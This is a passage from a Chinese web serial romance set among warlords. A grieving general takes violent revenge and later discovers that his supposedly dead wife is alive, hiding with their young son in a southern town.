“我要用他们的血,来洗干净这枚扳指。”
“所有参与这件事的人,我要诛他九族。”
“出发。”
他大步跨过废墟,再也没有回头看一眼。
那一刻,悲痛化为了实质的杀意。
昔日的少帅已死。
今日起,修罗战神,降临人间。
第107章 修罗战神
黑云压城,大雨滂沱。
这是一场毫无悬念的**。
“毒蛇”张大帅引以为傲的“山东军团”,在陆家军疯魔般的攻势下,仅仅坚持了不到三个小时就全线溃败。
泥泞的战壕里,到处都是残肢断臂。
“顶住!给我顶住!他们也是人,也会死的!”
张大帅躲在掩体后面,挥舞着**,歇斯底里地吼叫。但他看到的,却是让他灵魂都在颤抖的一幕。
雨幕中,一支全黑色的骑兵队如同幽灵般冲破了防线。
冲在最前面的那个男人,没有戴头盔,任由冰冷的雨水冲刷着他那张苍白得没有一丝血色的脸。他的眼神空洞死寂,手中的马刀已经被鲜血染成了暗红色。
他不躲**。
**擦着他的脸颊飞过,留下一道血痕,他连眼睛都不眨一下。
他就像是一个一心求死的恶鬼,却在死亡降临之前,要先拉着整个世界陪葬。
“陆……陆淮锦!他是疯子!他是疯子啊!”
张大帅吓得丢了枪,转身就跑,“撤!快撤!”
“想跑?”
马背上的陆淮锦看到了那个逃窜的身影。
他嘴角勾起一抹残忍的弧度,那笑容比哭还要渗人。
“驾!”
战马嘶鸣,如黑色的闪电划破雨幕。
手起,刀落。
几名试图阻拦的亲卫连人带枪被劈成两半。
陆淮锦策马追上了张大帅,并没有直接杀他,而是猛地一勒缰绳,战马的前蹄高高扬起,重重地踏在了张大帅的大腿上。
“啊——!!!”
骨骼碎裂的声音和惨叫声混杂在一起,让人毛骨悚然。
陆淮锦翻身下马,军靴踩在泥水里,一步步走向那个在泥地里打滚的枭雄。
“陆少帅!饶命!饶命啊!”
张大帅痛得满脸冷汗,鼻涕眼泪流了一地,“我不争了!地盘给你!全都给你!求你看在……”
“你也配求饶?”
陆淮锦一脚踩在他的胸口,碾碎了他的肋骨。
他低下头,从怀里掏出那枚被烧得漆黑的玉扳指,举到张大帅眼前。
“认得这个吗?”
陆淮锦的声音很轻,轻得像是情人的呢喃,却透着彻骨的寒意,“这是我在帅府的废墟里找到的。我夫人,就剩下这个了。”
看到那枚黑戒指,张大帅的瞳孔剧烈收缩。他知道,自己完了。
“她很怕疼,也很怕黑。”
陆淮锦收起戒指,眼神瞬间变得狰狞,“你让她在火海里绝望,我就让你在千刀万剐中忏悔。”
“拖下去。”
他站直身体,冷冷地对着身后的亲卫下令:
“不要让他死得太快。我要用他的头,祭奠我的亡妻。”
“是!”
……
北城,帅府临时办公厅。
民国十一年,六月十五日。
短短一个月。
直系残部被全歼,张大帅势力被连根拔起,各地的大小军阀或死或降。
北六省,在这一刻实现了真正意义上的统一。
但这胜利的代价,是这一路上的血流成河。外界送了陆淮锦一个新的称号——修罗战神。
此时的办公厅内,安静得连一根针掉在地上都能听见。
陆淮锦坐在宽大的办公桌后,正在批阅公文。他瘦了整整一圈,颧骨突出,眼窝深陷,整个人散发
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着一种生人勿近的阴郁气息。
“大帅。”
宋副官小心翼翼地走进来,手里端着一碗粥,“您两天没吃东西了,多少吃点吧。要是……要是少夫人在天有灵,也不希望看到您这样折磨自己。”
听到“少夫人”三个字,陆淮锦批阅公文的笔猛地一顿。
墨汁在纸上晕开,像一朵黑色的泪花。
“以后,不许提她。”
陆淮锦没有抬头,声音冷漠如冰,“也不许提‘在天有灵’。”
“她没死。”
宋副官一愣,眼圈瞬间红了。大帅这是……魔怔了啊。那是他亲眼看着挖出来的灰烬,怎么可能没死?但他不敢反驳,只能低下头:“是……”
“这几年,把北城的城防再加固三层。”
陆淮锦合上文件,站起身走到窗前,看着窗外正在重建的帅府工地。
“把听涛苑,照着原样,一砖一瓦地给我修回来。”
“海棠树,要种她最喜欢的西府海棠。”
“屋里的摆设,要和以前一模一样。”
他摸着胸口那枚硌得生疼的扳指,看着灰蒙蒙的天空,眼神空洞得令人心碎:
“我要把家修好。”
“万一哪天她玩累了,想回来了……得让她找得到路。”
宋副官看着那个孤寂萧索的背影,心里一阵酸楚。
这天下是打下来了。
但这人,心也空了。
从此以后,世间再无意气风发的陆少郎,只剩下一个守着空城、等着亡魂归来的孤家寡人。
风起,云涌。
一段传奇暂时落幕,而另一段关于等待与重逢的故事,却在岁月的长河中悄然埋下了伏笔。
第108章 南方水乡,柳镇
这里是远离战火的世外桃源。青石板铺就的长街,蜿蜒流淌的小河,乌篷船摇曳的橹声,构成了一幅淡雅的水墨画。
相比于北方的肃杀与寒冷,这里的风都是软的,带着湿润的泥土气息和早春的杏花香。
镇东头,一座临水的小院。
清晨的薄雾还没散去,院子里的那棵老柳树已经抽出了嫩绿的新芽。
“一一得一,一二得二,二二得四……”
一阵稚嫩却清脆的读书声从屋内传出。
一个约莫三四岁的小男孩,正端端正正地坐在小板凳上,手里捧着一本线装的《算术初阶》,摇头晃脑地背诵着乘法口诀。
他长得极好,粉雕玉琢的小脸,皮肤白皙,一双乌溜溜的大眼睛像黑葡萄一样灵动。最引人注目的是那一双剑眉,虽然稚气未脱,却已经隐隐透出一股与年龄不符的英气与倔强。
像。
太像了。
尤其是那抿着嘴唇思考问题的神态,简直就是那个远在北方的“修罗战神”的缩小版。
“团圆,背错了。”
一道温柔的女声从里屋传来,“三三得九,不是三三得六。”
门帘掀开。
一个身穿素色碎花旗袍的女子走了出来。
她手里端着一簸箕刚晾晒好的草药。岁月似乎对她格外宽容,三年的时光并没有在她脸上留下沧桑的痕迹,反而沉淀出一种温婉如玉的气质。只是那双曾经锐利如刀的眸子,如今变得平和而深邃,藏起了所有的锋芒。
她就是“死去”三年的沈晚清。
如今,她是柳镇上的一名普通医女,化名——柳云。
“娘,乘法口诀太简单了。”
小团圆放下书本,从凳子上跳下来,迈着小短腿跑到沈晚清身边,抱着她的腿撒娇。
“我想学打枪!我想学骑马!就像……就像画报上的那个大英雄一样!”
沈晚清的手微微一顿。
她放下簸箕,蹲下身,替儿子整理了一下衣领,眼神复杂。
“团圆,娘跟你说过多少次了,咱们是行医的人家,不学那些打打杀杀的东西。”
“可是阿福叔叔说,我不一样!”
小团圆撅着小嘴,一脸不服气,“阿福叔叔说,我的骨头硬,天生就是当大将军的料!而且……而且那个大英雄也姓陆,我也姓陆,说不定他是我爹呢!”
沈晚清的心脏猛地抽搐了一下。
这三年,为了躲避仇家的追杀,为了给陆淮锦一个没有软肋的复仇环境,她带着孩子隐姓埋名,在这个偏远的小镇扎了根。
她骗孩子说爹**,或者说爹去很远的地方做生意了。
但这孩子太聪明,也太敏感。那种血脉里的东西,是藏不住的。
“团圆,去帮阿福叔叔磨药。”
沈晚清避开了孩子的目光,轻声说道,“娘要出去一趟。”
“哦……”小团圆有些失落地低下头,转身跑向后院。
看着儿子小小的背影,沈晚清轻轻叹了口气。
……
柳镇,临河茶馆。
沈晚清并没有去出诊,而是来到了一家茶馆,买了一份刚从上海运来的《申报》。
她找了个偏僻的角落坐下,展开报纸。
头版头条,是一张占据了半个版面的巨幅黑白照片。
照片上,是一场盛大的阅兵式。
那个男人骑在高头大马上,身穿特级上将戎装,胸前挂满了勋章。他的脸庞比三年前更加消瘦,更加冷峻,眼神如鹰隼般锐利,却透着一股化不开的孤寂与寒意。
标题是几个加粗的大字:
【北地大帅陆淮锦,昨日抵达上海,将与南方军政府举行和平谈判,共商国是。】
沈晚清的手指轻轻抚过那张照片。
指尖在那张熟悉的脸上停留了许久。
“瘦了。”
她低声呢喃,眼眶微红,“还是那么不爱惜身体。”
三年了。
他在北方成了令人闻风丧胆的霸主,把北六省治理得铁桶一般,再也没人敢欺负陆家军
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。他也真的做到了当初的誓言——把那些害过她的人,全都送下了地狱。
但他过得不好。
照片里的他,虽然站在万人中央,却像是一个被世界遗弃的孤魂。
“听说这陆大帅是个痴情种啊。”
隔壁桌,几个茶客正在闲聊。
“可不是嘛!听说他老婆三年前**,他到现在都没续弦!而且还在原来的帅府废墟上,按照原样修了一座一模一样的院子,每年忌日都在里面一坐就是一天。”
“唉,英雄难过美人关啊。可惜了这么个大人物,为了个**,把心都锁**。”
“听说这次来南方,除了谈判,也是为了找那个传说中的‘神医’给他治头疾。这陆大帅好像因为思虑过重,头疼病很严重……”
头疼病。
沈晚清的心猛地揪紧。
是啊,当年坠崖留下的旧伤,加上这几年的殚精竭虑,他的身体怎么可能好得了?
“咳咳……”
沈晚清捂着胸口,那种压抑了三年的思念,在这一刻如潮水般爆发。
她想他。
发疯一样地想。
可是……
她看了一眼窗外那个安宁的小镇,想到了家里那个还未长大的孩子。
现在的局势虽然稳了,但暗处的敌人并未死绝。陆淮锦越是身居高位,盯着他的人就越多。如果她现在带着孩子回去,一旦暴露,这三年的隐忍就白费了,孩子又将成为众矢之的。
“再等等……”
沈晚清收起报纸,深吸一口气,将那份悸动强行压回心底。
“等你彻底扫平了南方的障碍……等你真正君临天下的时候。”
“我就带团圆回家。”
她站起身,拿起雨伞,走入绵绵春雨中。
背影纤细,却透着一股坚韧的力量。
只是她不知道的是,命运的齿轮已经开始转动。那个她日思夜想的男人,此刻距离她,只有不到三百里的路程。
而且,他也正在往这个方向看。
第109章 平静打破
原本这个时间,是柳镇最慵懒惬意的时候。茶馆里的说书人刚醒木一拍,街边的黄狗正趴在暖阳下打盹。
然而今天,一阵急促而刺耳的铜锣声,却像是一把生锈的锯子,锯断了这份宁静。
“咣!咣!咣!”
“闲杂人等回避!店铺关门!净水泼街!”
当地的保长带着几个警察,跑得气喘吁吁,满头大汗地沿街吆喝,“快快快!都别磨蹭!北边来的陆大帅要路过咱们镇!谁要是冲撞了贵人,小心脑袋搬家!”
“陆大帅?”
正在医馆里给病人抓药的沈晚清,手中的戥子猛地一抖,那两钱当归洒了一桌。
她没听错吧?
他不是在上海谈判吗?怎么会来这种偏僻的小镇?
“哎哟,柳大夫,您怎么了?”病人奇怪地问道。
“没……没事。”
沈晚清强压下心头的惊涛骇浪,手忙脚乱地把药包好,“那个……今天医馆提前打烊,这药钱不收了,您快从后门走吧。”
送走病人,她立刻转身,用最快的速度关上了医馆厚重的木门,上了三道门栓。
“娘,怎么了?”
正在院子里玩木头**的小团圆跑过来,眨巴着大眼睛,“外面好热闹,我想出去看!”
“不许去!”
沈晚清的声音从未有过的严厉,甚至带着一丝颤抖。她一把抱起儿子,死死地捂在他怀里,仿佛要把他藏进身体里。
“团圆,听娘的话。外面有大灰狼,专吃小孩。”
“哦……”小团圆被母亲的反应吓到了,乖乖地点了点头,但那双乌黑的眼珠子却还在骨碌碌地转,透着一股不甘心的好奇。
……
柳镇,主街。
半个时辰后。
大地的震颤感越来越强烈。
“哒哒哒——”
整齐划一的马蹄声,混合着军靴踏在青石板上的声音,如同闷雷般滚滚而来。
街道两旁的店铺都关了门,百姓们虽然害怕,但都忍不住透过门缝往外偷看。那可是传说中**如麻、一统北地的“活阎王”啊,谁不想见识见识?
先头部队是两排骑着高头大马的黑衣卫队,个个背着**,眼神冷厉。
紧接着,是一辆黑色的防弹轿车。
但轿车并没有坐人。
陆淮锦骑在一匹通体雪白的战马上,走在队伍的中央。
他穿着那身标志性的深灰色戎装,披着黑色大氅,戴着白手套的手随意地抓着缰绳。三年过去了,岁月似乎并没有在他脸上留下痕迹,只是让他的轮廓更加深邃,眼神更加冰冷。
他就像是一块在大雪中冻了千年的石头,浑身上下散发着一种令人窒息的孤寂与寒意。
“大帅,前面就是柳镇的公馆了。”
宋副官骑马跟在侧后方,低声汇报,“咱们在这里休整两个小时,给马喂点水,然后再去苏州大营。”
“嗯。”
陆淮锦淡淡地应了一声,眉头微蹙。
他又头疼了。
自从三年前那场大火后,这就成了顽疾。每到阴雨天,或者路过这种似曾相识的江南水乡,脑子里那根神经就像被人用钢针在挑。
他抬起头,目光漫不经心地扫过街道两旁的店铺。
这里的建筑风格,像极了当年他和晚晚养伤的乌镇。
“晚晚……”
陆淮锦下意识地按了按胸口。
鬼使神差地,他的目光停留在了路边一家紧闭着大门的店铺上。
那家店铺挂着一块古朴的牌匾——【仁心医馆】。
“仁心……”
陆淮锦勒住马,盯着那两个字看了许久。当年救他的那个医馆,好像叫仁心堂?
“大帅?怎么了?”宋副官问道,“您身体不舒服吗?听说这镇上有个‘柳神医’,医术不错,要不要叫来给您看看?”
陆淮锦沉默了片刻,眼底闪过一丝自嘲。
看了又如何?
心病还需心药医。他的药,早就化成灰了。
“不必了。”
他收回目光,声音冷漠,“庸医罢了。”
“驾!”
他一抖缰绳,战马发出一声嘶鸣,继续向前走去。
……
仁心医馆,门后。
沈晚清背靠着门板,身体顺着门缝缓缓滑落。
就在刚才,透过门缝,她看到了那个骑在马上的人。
只是一眼,就
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让她泪流满面。
那是她日思夜想的丈夫。
那么近,近到她甚至能看清他眼角的细纹,看清他眉宇间那抹化不开的愁绪。
他就在门外。
只要她推开这扇门,只要她喊一声,所有的苦难都会结束。她可以扑进他怀里,告诉他这就是他们的孩子,告诉他她没死。
可是……
沈晚清的手抬起来,悬在门栓上,颤抖着,却始终没有落下。
她想到了那张报纸上的新闻——直系残余势力在上海策划刺杀。
想到了三年前那个血腥的夜晚。
现在的他,是天下的霸主,也是众矢之的。如果她现在带着孩子出去,无疑是把他唯一的软肋再次暴露在所有敌人面前。
“不能……现在还不能……”
沈晚清咬破了嘴唇,尝到了血腥味。
她死死抱住怀里的小团圆,无声地哭泣。
“娘?”
小团圆感受到母亲的悲伤,伸出小手替她擦泪,“娘不哭。是不是那个大坏蛋欺负你了?等团圆长大了,帮你打跑他!”
沈晚清看着儿子那张酷似陆淮锦的脸,心中一阵酸楚。
“没事……娘没事。”
她以为,只要躲过这一劫,等他走了,一切就会恢复平静。
然而,命运最爱开玩笑。
就在陆淮锦的队伍刚刚通过医馆门口,在不远处的公馆驻扎下来时。
一阵风吹过。
后院的墙头上,一只画着老鹰的风筝,摇摇晃晃地飘了下来,线断了。
“啊!我的老鹰!”
小团圆惊呼一声,看着那只断了线的风筝飘出了院墙,落向了那条热闹的街道。
那是阿福叔叔给他做的生日礼物,他最喜欢的玩具。
趁着沈晚清还在平复情绪、没注意的瞬间。
小团圆偷偷溜到了后门。那里的门栓有些松动,对于一个聪明的孩子来说,打开它并不难。
“我就去捡一下……马上回来。”
小家伙心里想着,费力地拉开了后门的门闩。
那一刻,平静彻底打破。
一场父子之间的“冲撞”,即将在这条江南小街上,宿命般地上演。
第110章 街头冲撞
那只断了线的老鹰风筝,像一片飘零的落叶,晃晃悠悠地越过仁心医馆的院墙,落在了柳镇最宽阔、此刻也最戒备森严的主街上。
它不偏不倚,正好落在了公馆大门口的青石板路中央。
而此时,公馆的大门刚刚打开。
在数十名荷枪实弹的卫兵簇拥下,陆淮锦骑着那匹高大的雪白战马,刚刚结束了短暂的休整,准备启程前往苏州。
“哒哒哒——”
马蹄铁敲击着石板路,发出清脆而有节奏的声响。陆淮锦神色淡漠,目不斜视,仿佛周围的一切都入不了他的眼。
就在战马即将踏上那只风筝的瞬间。
“我的老鹰!”
一声稚嫩却焦急的呼喊声从街边的巷子里传了出来。
紧接着,一个小小的、穿着蓝色粗布小褂的身影,像一颗还没长大的小炮弹,不管不顾地从人群缝隙里冲了出来,直扑路中央那只风筝。
变故发生得太快。
“吁——!!”
负责开道的卫兵大惊失色,想要勒马已经来不及了。
“哪来的野孩子!找死吗?!”宋副官吓得魂飞魄散,这要是把孩子踩**,大帅的名声事小,万一大帅又犯病了怎么办?
眼看那高大的战马就要撞上那个小小的身躯。
千钧一发之际。
坐在马背上的陆淮锦,原本淡漠的眼神瞬间一凝。他几乎是本能地做出了反应,戴着白手套的大手猛地一勒缰绳,身体向后一仰,用强大的臂力硬生生地将正在前冲的战马给拽停了。
“嘶——!!!”
战马吃痛,前蹄高高扬起,在空中踢踏了两下,才重重地落下,溅起一片尘土。
那个小小的身影被战马扬起的尘土和气浪掀翻在地,滚了两圈,一屁股坐在了地上。
即便摔倒了,他的怀里依然死死抱着那只已经有些破损的老鹰风筝。
“大胆!哪里来的混账东西!竟敢冲撞大帅的马队!”
几个如狼似虎的亲卫立刻拔出枪,就要冲上去拿人。
“慢着。”
陆淮锦冷冷地抬手,制止了手下。
他坐在高高的马背上,居高临下地俯视着地上那个小不点。
那孩子看起来也就三四岁大,摔得满身是土,膝盖上的裤子都磨破了,渗出一点血丝。
换做别家孩子,遇到这种阵仗,恐怕早就吓得哇哇大哭了。
但这孩子没有。
小团圆从地上爬起来,拍了拍屁股上的灰。他没有哭,只是皱着小眉头,用手背胡乱抹了一把脸上的灰土,然后抬起头,用那双乌溜溜的大眼睛,毫无惧色地瞪着骑在马上的陆淮锦。
那眼神里,有愤怒,有委屈,竟然还有一丝初生牛犊不怕虎的倔强。
“你这匹大马,差点踩坏了我的风筝!”
小团圆奶声奶气地指责道,小手指着那匹比他高出好几倍的战马,一点都不带怕的。
周围的卫兵和看热闹的百姓都倒吸了一口凉气。
这谁家的熊孩子?不要命了?敢这么跟活阎王说话?
陆淮锦也愣住了。
这三年来,他走到哪里,别人都是跪在地上瑟瑟发抖,连大气都不敢喘。敢这么指着鼻子骂他的,这小鬼还是第一个。
莫名地,他心中那股常年盘踞的戾气,竟然消散了几分。
取而代之的,是一丝久违的好奇。
这孩子的脾气……怎么这么像当年那个敢拿枪指着他脑袋的女人?
“小孩。”
陆淮锦翻身下马。
军靴踏在青石板上,发出沉闷
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的声响。他一步步走向小团圆,高大的身躯投下一片阴影,将小小的孩子完全笼罩。
他在孩子面前蹲下身,视线与他平齐。
“风筝是你自己掉的,是你自己冲出来的。”
陆淮锦的声音依旧冷淡,但比起平时,已经算得上是“温和”了,“怎么能怪我的马?”
“可是……可是你把它吓坏了!”
小团圆紧紧抱着怀里的风筝,小嘴噘得老高,理直气壮地说道,“这是我的生日礼物!要是坏了,我娘会伤心的!”
陆淮锦心头微动。也是,这孩子虽然胆子大,但终究是有父母的。
“你爹娘是谁?怎么教你看路的?”
陆淮锦伸出手,想要替这孩子擦掉脸上那一块最显眼的黑灰,看看他到底长什么样。
小团圆警惕地向后缩了一下,躲开了他的手。
“娘说了,不能随便跟陌生人说话。尤其你长得……这么凶。”
小家伙小声嘀咕了一句。
陆淮锦的手僵在半空中,嘴角竟然难得地抽搐了一下。
凶?
他堂堂北地大帅,风华绝代的修罗战神,竟然被一个三岁奶娃嫌弃长得凶?
“呵……”
陆淮锦低笑一声,这孩子,有点意思。
“我凶?”
他挑了挑眉,索性一把抓住小团圆的胳膊,不顾他的挣扎,强行用带着白手套的手指,擦去了他脸上那层厚厚的灰尘。
“我倒要看看,你这小鬼长得有不……”
陆淮锦的话音戛然而止。
当脸上的灰尘被擦去,露出底下那张粉雕玉琢的小脸,尤其是那双熟悉的剑眉和倔强的眼睛时。
陆淮锦整个人如遭雷击,彻底僵在了原地。
这张脸……
怎么会……
第111章 这孩子是谁?
时间仿佛在这一刻凝固了。
周围嘈杂的人声、马匹的响鼻声、风吹过树梢的声音,在陆淮锦的耳中统统消失。
他的世界里,只剩下眼前这个被他擦去了灰尘的小男孩。
那张脸,太干净,太精致,也太……熟悉。
那两道还没长开却已显锋芒的剑眉,那双眼尾微微上挑的丹凤眼,那种抿着嘴唇时不服输的神态,甚至是生气时鼻翼微动的细小动作……
这哪里是个陌生的小孩?
这分明就是看着镜子里的自己,回到了二十多年前!
“不……不可能……”
陆淮锦的手指剧烈颤抖,白手套在孩子稚嫩的脸颊上停留,却不敢再动分毫,仿佛那是易碎的泡沫。
“你是谁?”
他的声音不再是平日里的冷漠,而是带着一种令人心碎的颤抖和嘶哑,“告诉我……你是谁?”
小团圆被眼前这个怪叔叔的样子吓到了。刚才他还很凶,现在怎么好像……要哭了?
“我……我不告诉你!”
小家伙虽然心里发毛,但还是梗着脖子,紧紧抱着怀里的风筝向后退,“娘说了,不许把名字告诉坏人!”
“娘?”
这个字眼像是一把重锤,狠狠砸在陆淮锦的心口。
他猛地伸手,一把抓住了小团圆那瘦弱的肩膀,力道大得几乎失控。
“你娘是谁?她在哪?!”
陆淮锦的双眼瞬间充血,那种压抑了三年的疯狂在这一刻濒临爆发,“带我去见她!快!带我去见她!”
“哇——!!!”
小团圆毕竟只是个三岁半的孩子,被这突如其来的咆哮和肩膀上的剧痛吓得终于忍不住,张开嘴哇哇大哭起来。
“坏人!你是坏人!放开我!我要找阿福叔叔!我要找娘!”
“阿福?”
陆淮锦瞳孔猛地一缩。
这个名字,就像是一把钥匙,瞬间打开了他尘封的记忆。
阿福。
那是沈晚清从海城带来的小厮,是当年在那场大火中与她一同“尸骨无存”的忠仆!
如果阿福还活着……
如果这孩子长得像自己……
那一瞬间,陆淮锦感觉自己浑身的血液都逆流到了头顶,巨大的喜悦与恐慌交织在一起,让他几乎无法呼吸。
没死。
她真的没死!
“小少爷!!”
就在这时,一声惊恐的呼喊声从人群外传来。
一个穿着破烂灰布长衫、背着背篓的男人,发了疯一样推开围观的百姓和卫兵,不顾一切地冲了进来。
“放开他!别伤他!”
男人冲到陆淮锦面前,噗通一声跪下,把大哭的小团圆死死护在怀里,不停地磕头。
“军爷饶命!军爷饶命啊!小孩子不懂事冲撞了贵人,要杀就杀我吧!求您放过孩子!”
陆淮锦没有说话。
他缓缓站起身,居高临下地看着跪在地上的那个男人。
虽然男人背驼了,脸上还抹了黑灰,甚至还有意改变了嗓音。
但他跟了沈晚清数年年。陆淮锦怎么可能认不出他?
“抬起头来。”
陆淮锦的声音冷得像是从牙缝里挤出来的,却又藏着滚烫的岩浆。
男人的身子猛地一僵,趴在地上不敢动。
“我让你,抬起头来。”
陆淮锦拔出腰间的勃朗宁,“咔哒”一声上膛。
在那清脆的金属声中,男人终于颤颤巍巍地抬起了头。那双眼里写满了恐惧,也写满了……被认出后的绝望。
四目相对。
陆淮锦看着这张熟悉的脸,看着他怀里那个跟自己一个模子里刻出来的孩子。
所有的猜测,在这一刻变成了确凿的铁证。
“阿福。”
陆淮锦收起枪,声音轻得像是怕惊碎了什么,“你老了。”
阿福浑身剧烈颤抖,眼泪刷地流了下来。他知道,瞒不住了。少帅那双眼睛,太毒了。
“少……少帅……”阿福哽咽着,下意识地把怀里的团圆抱得更紧,“是阿福该死……是阿福当年……”
“闭嘴。”
陆淮锦突然打断了他。
他的目光越过阿福,投向了不远处的街角。
那里,有一家名为“仁心医馆”的铺子,大门紧闭。
但他敏锐地感觉到,在那扇门后,有一双眼睛正在注视着这里。那是一种血脉相连的感应,一种灵魂深处的悸动。
她在那里。
她就在那里看着他。
“大帅,这……”
宋副官此时也认出了阿福,惊得
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下巴都要掉下来了,“这……这不是阿福吗?那这个孩子……”他看了一眼小团圆,又看了一眼陆淮锦,倒吸一口凉气,“我的天爷啊……”
周围的卫兵和百姓还在指指点点。
陆淮锦深吸一口气,强行压下心中想要立刻冲进去砸门的冲动。
他知道沈晚清的性格。
如果现在大张旗鼓地相认,如果现在让所有人知道这是他的软肋,当年那场大火的悲剧,或许会重演。而且,她既然躲了三年,一定有她的苦衷,甚至……在恨他。
不能急。
既然找到了,这辈子她就别想再跑。
“宋虎。”
陆淮锦突然转过身,背对着阿福和孩子,声音恢复了那种令人捉摸不透的冷漠。
“大帅?”
“这人冲撞了我的马,念在他是初犯,又是为了护孩子,饶他一命。”
“啊?”宋副官愣住了,大帅这是在演哪出?
“但是——”
陆淮锦侧过头,用余光深深地看了一眼那个还在抽泣的小团圆,眼中闪过一丝极度的贪恋与温柔。
“死罪可免,活罪难逃。把他们的住处给我记下来,回头……我亲自去‘问罪’。”
说完,他翻身上马。
“走!去苏州!”
“是!”
马队重新启动,轰隆隆地向镇外开去。
阿福抱着团圆瘫坐在地上,看着那远去的背影,一时间有些发懵。少帅明明认出来了,为什么不抓他们?为什么不问少夫人?
只有陆淮锦自己知道。
当他骑马离开的那一刻,他的手心全是汗,心脏跳得快要炸裂。
他没有去苏州。
在离开了柳镇百姓的视线后。
“吁——”
陆淮锦勒住马,调转马头,看向不远处的一片小树林。
“全军原地待命。宋虎,带上两个身手最好的暗卫。”
他翻身下马,脱掉了那身显眼的大氅,只穿着里面的衬衫和马甲,眼神炽热如火。
“大帅,咱们去哪?”
陆淮锦整理了一下袖口,嘴角勾起一抹三年来从未有过的、势在必得的笑意:
“抓人。”
“我要亲自去看看,这三年来,我的‘亡妻’,到底背着我藏了多少秘密。”
第112章 追踪
夕阳西下,将青石板路拉出长长的影子。
阿福抱着还在抽噎的小团圆,跌跌撞撞地穿行在巷弄里。他一步三回头,双眼里满是惊恐,仿佛身后跟着一群索命的恶鬼。
“阿福叔叔,那个坏叔叔没有追来……”
小团圆趴在阿福肩头,奶声奶气地安慰道,“而且他其实长得……也没那么吓人,就是眉毛太凶了。”
“嘘!小祖宗,别说话!”
阿福吓得浑身哆嗦,压低声音道,“那是活阎王!咱们刚才是在鬼门关转了一圈啊!快回家,让你娘赶紧收拾东西,咱们今晚就得跑!”
阿福虽然忠心,但他毕竟刚才受了惊吓,警惕性大不如前。
他根本没有发现,在距离他身后五十米的屋檐阴影下,两道黑影正如幽灵般悄无声息地贴墙而行。
“大帅,您慢点……您的腿……”
宋副官看着前面那个身手矫健、完全看不出有腿疾的身影,忍不住低声提醒。
陆淮锦没有理会。
此时此刻,他的眼里只有那个抱着孩子的背影。
他的左腿其实很疼。每走一步,当年的旧伤就像针扎一样。但他感觉不到。体内沸腾的肾上腺素和失而复得的狂喜,让他像个不知疲倦的追踪者,死死咬住猎物。
“这里……”
陆淮锦看着周围越来越偏僻、却也越来越清幽的环境,眉头微皱。
这里是柳镇的边缘,临着一条小河。周围住的都是些贫苦的渔民和浣纱女。
她这三年,就住在这种地方?
那个曾经十指不沾阳春水、非绸缎不穿、非精米不食的沈家大小姐、陆家少夫人,竟然带着孩子躲在这种市井陋巷里受苦?
一种巨大的愧疚感和心疼,像潮水一样淹没了他。
“大帅,到了。”
宋副官突然停下脚步,指了指前方。
只见阿福抱着孩子,拐进了一个临水的小院子。院墙是用黄泥和乱石堆砌的,并不高,木门也有些斑驳陈旧。
阿福警惕地看了看四周,确定没人后,才急匆匆地推开门,闪身进去,然后“哐当”一声迅速插上了门闩。
陆淮锦站在巷子口的阴影里,看着那扇紧闭的木门。
就是这里。
这里藏着他的全世界。
“大帅,要不要我去叫门?”宋副官问道,“或者是把周围封锁起来?”
“不必。”
陆淮锦抬起手,阻止了他,“你带人守在巷口,谁也不许放进来。记住,是一只苍蝇也不许放进来。”
“那您……”
“我自己进去。”
陆淮锦整理了一下微乱的衣领,深吸一口气。他不想带兵冲进去,不想再像三年前那样,用强硬的手段把她逼上绝路。
这一次,他要自己走进去。
……
阿福一进院子,就腿一软瘫坐在地上。
“东家!东家!出事了!”
正在院子里收拾草药架子的沈晚清听到动静,急忙跑过来。
“怎么了?团圆受伤了吗?”她一把抱过儿子,上下检查。
“团圆没事……但是……但是我们撞见陆少帅了!”
阿福脸色惨白,语无伦次,“就在街上!少帅认出我了!他甚至还看了小少爷的脸!但他……他把我们放了!”
“什么?”
沈晚清手中的风筝线圈“啪嗒”一声掉在地上。
最怕的事情,终究还是发生了。
“他认出来了?”沈晚清的声音在颤抖,“他说了什么?”
“什么也没说,就看了我们几眼,然后骑马走了,说是去苏州。”阿福擦着冷汗,“东家,不对劲啊!以少帅的脾气,认出来怎么可能放我们走?这里面肯定有诈!咱们快跑吧!”
沈晚清的脸色瞬间煞白。
她太了解陆淮锦了。
那个男人,如果是当场发飙,那说明事情还有转圜的余地。如果他不动声色……那就是暴风雨前的宁静。
他已经跟过来了!
“团圆,进屋去拿你的小老虎。”
沈晚清强迫自己冷静下来,把孩子推进屋里。
然后她转身冲向卧房,从床底下拖出一个早已准备好的逃生包裹。里面有大洋、金条,还有两张去香港的船票。
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“阿福,去后门看看船还在不在!”
沈晚清一边说,一边手忙脚乱地收拾东西。她的手抖得厉害,甚至连包袱扣都系不上。
……
院墙外。
陆淮锦并没有走正门。
他绕到了院子的侧面,那里有一棵歪脖子柳树,枝条正好垂在院墙上。
对于曾经身经百战的战神来说,翻越这道矮墙易如反掌。
但他却在墙根下站了许久。
墙内传来了那熟悉的声音。
虽然隔了三年,虽然她的嗓音似乎比以前多了一丝沧桑和急切,但这声音曾无数次出现在他的梦里,出现在他跪在废墟前的幻听里。
“阿福,快点!”
“团圆,别拿玩具了,快跟娘走!”
真的是她。
活生生的她。
陆淮锦闭上眼,眼角滑落一滴滚烫的泪水。
他伸出手,抓住那根粗糙的柳树枝条,借力一跃。
动作利落,无声无息。
他像一只黑色的狸猫,稳稳地落在院墙的墙头上。
此时此刻,夕阳的余晖洒满了整个小院。
院子里充满了浓郁的中草药味,架子上晾晒着当归、黄芪。
而在院子中央,那个让他找了整整三年、让他疯魔了整整三年的身影,正背对着他,焦急地把一件件衣服塞进包袱里。
她瘦了。
穿着粗布旗袍,头发用一根木簪随意挽起,不再是当年那个珠光宝气的少帅夫人。
但那是他的妻。
是他失而复得的命。
陆淮锦站在墙头,没有立刻跳下去。他贪婪地看着那个背影,看着她为了躲避他而惊慌失措的样子,心中既酸涩又庆幸。
幸好。
幸好当初那一跪,那一挖,没有挖到她的骨头。
幸好老天爷,还给他留了一条活路。
“晚晚……”
他在心里无声地呼唤。
然后,他轻轻跃下墙头,皮靴踩在松软的泥土上,一步一步,走向那个正在企图再次逃离他的女人。
这一次,就算是用锁链锁,我也要把你锁在我身边。
第113章 死而复生
夕阳的最后一抹余晖,如同浓稠的血色,泼洒在这个原本宁静的小院里。
“快点……再快点……”
沈晚清的手在剧烈颤抖。她胡乱地将几件换洗衣物和那两张去香港的船票塞进包袱里,因为太过慌乱,连常用的银针盒掉在地上都没察觉。
一种被猛兽盯上的寒意,顺着脊背爬满全身。
哪怕阿福说陆淮锦已经走了,哪怕外面没有任何动静,但那种心悸的感觉却越来越强烈,强烈到让她几乎窒息。
那是他们之间特有的感应。
